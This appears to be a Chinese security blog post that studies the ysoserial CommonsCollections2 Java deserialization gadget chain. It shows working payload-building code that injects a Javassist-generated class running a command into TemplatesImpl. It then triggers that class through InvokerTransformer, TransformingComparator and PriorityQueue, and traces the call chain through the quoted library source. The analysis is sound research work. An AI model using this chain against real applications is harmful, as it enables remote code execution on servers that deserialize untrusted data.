Java反序列化学习-CommonsCollections2

前一段时间一直在思考如何学习与发掘java反序列化漏洞,最近有一点小的成果,因此便想借着研究java反序列化利用工具ysoserial的机会来验证下自己的思路。

Java反序列化利用

要想掌握Java反序列化漏洞payload的构造,那就要知道在构造Java反序列化的payload的构造过程中有三个比较特别重要的步骤,在这里简称为两点一链:

输入数据执行点

输入数据执行点是指能够将攻击者控制的数据作为java代码执行的位置。

反序列化传导链

反序列化传导链主要用作链接反序列化利用点和用户数据可控点,能够使用户可控的数据在反序列化过程中被利用。

反序列化利用点

反序列化是指在程序的执行流程中有执行反序列化的操作。该位置一般为程序自身实现,只需定位即可。

CommonsCollections2

介绍

Java Collections Framework 是JDK 1.2中的一个重要组成部分。它增加了许多强大的数据结构,加速了最重要的Java应用程序的开发。从那时起,它已经成为Java中集合处理的公认标准。官网介绍如下:Commons Collections使用场景很广,很多商业,开源项目都使用到了commons-collections.jar。 很多组件,容器,cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons Collections反序列被披露事件有关。

利用条件

JDK 未测试,7u21正常使用
CommonCollections=4.0

代码分析

整个分析过程并未完全按照ysoserial中的代码进行分析,而是结合前面的思考结果进行分段分析,但是整个payload的生成流程与ysoserial中一致。

输入数据执行点

~~ 在CommonsCollections2当中,尽管在本次实验中发现也可以通过ChainedTransform构造出攻击链,但作者并没有使用ChainedTransformer来制作payload,可能作者是想要提供一种新的输入数据执行点构造思路。~~
下面来看一下ysoserial中构造数据执行点的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Class superClazz = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
Class transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")

// 利用javassist包动态加载并修改代码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass ctClass = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 创建一个类代码块(static修饰的代码块),然后在该代码块后面插入要执行的代码,会在该类的静态代码框中插入该方法,因此类初始化便会执行代码
ctClass.makeClassInitializer().insertAfter(cmd);
CtClass superCtClass = pool.get(superClazz.getName());
ctClass.setSuperclass(superCtClass);
// 将生成的类转换成字节
byte[] bytes = ctClass.toBytecode();
// TemplatesImpl便是承载此次数据的类
String templateClassName= "org.apache.xalan.xsltc.trax.TemplatesImpl";
Class templateClazz = Class.forName(templateClassName);

// 通过反射的方式获取TemplatesImpl实例的_bytecodes字段和_name字段
Field templateField = templateClazz.getDeclaredField("_bytecodes");
Permit.setAccessible(templateField);
Field nameField = templateClazz.getDeclaredField("_name");
Permit.setAccessible(nameField);
Field factoryField = templateClazz.getDeclaredField("_tfactory");
Permit.setAccessible(factoryField);

Templates templatesInstance = (Templates) templateClazz.newInstance();
byte[] tempBytes = new byte[1024];
// Foo类是一个内部静态类,主要是辅助的将控制的代码注入到TemplateImpl实例当中
Class fooClass = Foo.class;
// getEnclosingClass指获取外部类
Class parentClass = fooClass.getEnclosingClass();
String fullName = parentClass.getName().replace(".","/")+"$"+fooClass.getSimpleName()+".class";
InputStream tempFileInputStream = JavassistDemo.class.getClassLoader().getResourceAsStream(fullName);
ByteArrayOutputStream out = new ByteArrayOutputStream();
int len =0;
while((len = tempFileInputStream.read(tempBytes))!= -1) {
out.write(tempBytes, 0, len);
}
// 将数据注入到TemplatesImpl实例当中
templateField.set(templatesInstance,new byte[][]{
bytes,out.toByteArray()
});
// 必需设置该值
nameField.set(templatesInstance,"Pwnr");
factoryField.set(transFactory.newInstance(),"_tfactory");

Foo.java (一个内部类)

1
2
public static class Foo implements Serializable {
}

StubTransletPayload.java

1
2
3
4
5
6
7
public class StubTransletPayload extends AbstractTranslet implements Serializable {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handlers) throws TransletException {
}
}

分析上面的代码可以知道,上面的代码主要是利用Javassist动态生成一个恶意类,然后将其注入到TempaltesImpl实例中的_bytecodes字段。
如何这样做的原因需要对TemplatesImpl类的代码进行分析,下面就截取TemplatesImpl类的代码进行查看:
TemplatesImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
public synchronized Transformer newTransformer() throws   TransformerConfigurationException {
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
// 实例化每个类
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}


private void defineTransletClasses() throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
// 将字节转换成类
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

可以看到在TemplateImpl的代码当中newTransformer()方法会调用getTransletInstance()方法,其中getTransletInstance()方法会先调用defineTransletClasses()方法将_bytecodes字段中的数据转换成_class,然后getTransletInstance()接下来会将这些_class进行实例化。因此放入到_bytescode变量中的类会被实例化,植入的恶意代码也被执行。

反序列化传导链

从上面可以知道通过向TemplatesImpl的_bytecodes字段注入恶意的代码,然后再调用TemplatesImpl实例的newTransformer()方法便可以实现任意代码执行。下面再找一个能够串联反序列化点和该漏洞利用点相结合的链条即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
InvokerTransformer invokerTransformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(invokerTransformer))
queue.add(1);
queue.add(2);
// 修改InvokerTransformer实例的iMethodName参数为newTransformer,这样调用InvokerTransformer方法时会调用传入实例的newTransformer方法。
Field transformerField = InvokerTransformer.class.getDeclaredField("iMethodName");
Permit.setAccessible(transformerField);
transformerField.set(invokerTransformer,"newTransformer");

// 利用反射设置PriorityQueue中的值,必需将第一个值设置为TemplatesImpl的实例,这样才能保证后面可以调用其newTransformer方法
Field queueField = PriorityQueue.class.getDeclaredField("queue");
Permit.setAccessible(queueField);
Object[] ququeArray = (Object[]) queueField.get(queue);
ququeArray[0] = templatesInstance;
ququeArray[1] = 1;

可以看到其主要是利用了InvokerTransformer、TransformingComparator、PriorityQueue(优先队列)三个类来构造传导链。其中主要是利用PriorityQueue作为反序列化的入口点,然后依次调用TransformingComparator、InvokerTransformer类的实例,从而执行TemplatesImple实例的newTransformer方法,最后导致命令执行。下面依次从这些类的源代码中分析下传导链中各个方法的执行顺序。
InvokerTransformer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
} catch (final NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' does not exist");
} catch (final IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' cannot be accessed");
} catch (final InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' threw an exception", ex);
}
}

可以看到InvokerTransformer的transform方法能够利用反射调用传入实例对象的一个固定方法。在这里是调用TemplatesImpl实例的newTransformer方法,因此在源代码中会利用反射将该实例的iMethodName修改为newTransformer方法。
TransformingComparator.java

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

该类的实例具有胶连InvokerTransformer实例和PriorityQueue实例的作用,PriorityQueue会调用该类的compare方法,并传入Queue中的实例templateImpl,然后调用InvokerTransform的transform方法。
PriorityQueue.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

PriorityQueue实例是反序列化类的入口点,根据列出来的代码可以看到,在该类的readObject方法中调用了该类的heapify方法,在heapify方法中又调用了该类的siftDown,由于在构造PriorityQueue时传入了Comparator,因此在siftDown方法中会调用siftDownUsingComparator,也就是在该方法中调用了Comparator实例的compare 方法,从而导致了整条反序列化链的执行。

反序列化函数调用链

根据上面的分析可以总结出函数的调用链如下:

1
2
3
4
5
6
7
8
9
PriorityQueue.readObject
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare
InvokerTransformer.transform
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses

源代码文件

1.源代码工程文件

思考

截止到现在,根据分析已经有两个可控数据执行点:ChainedTransformer和TemplatesImpl,两个反序列化漏洞执行链条:AnnotationInvocationHandler和PriorityQueue。现在可不可以将他们两两组合一下,形成新的反序列化漏洞?

参考文档

  1. Java反序列化漏洞-玄铁重剑之CommonsCollection(下)
  2. fastjson 远程反序列化poc的构造和分析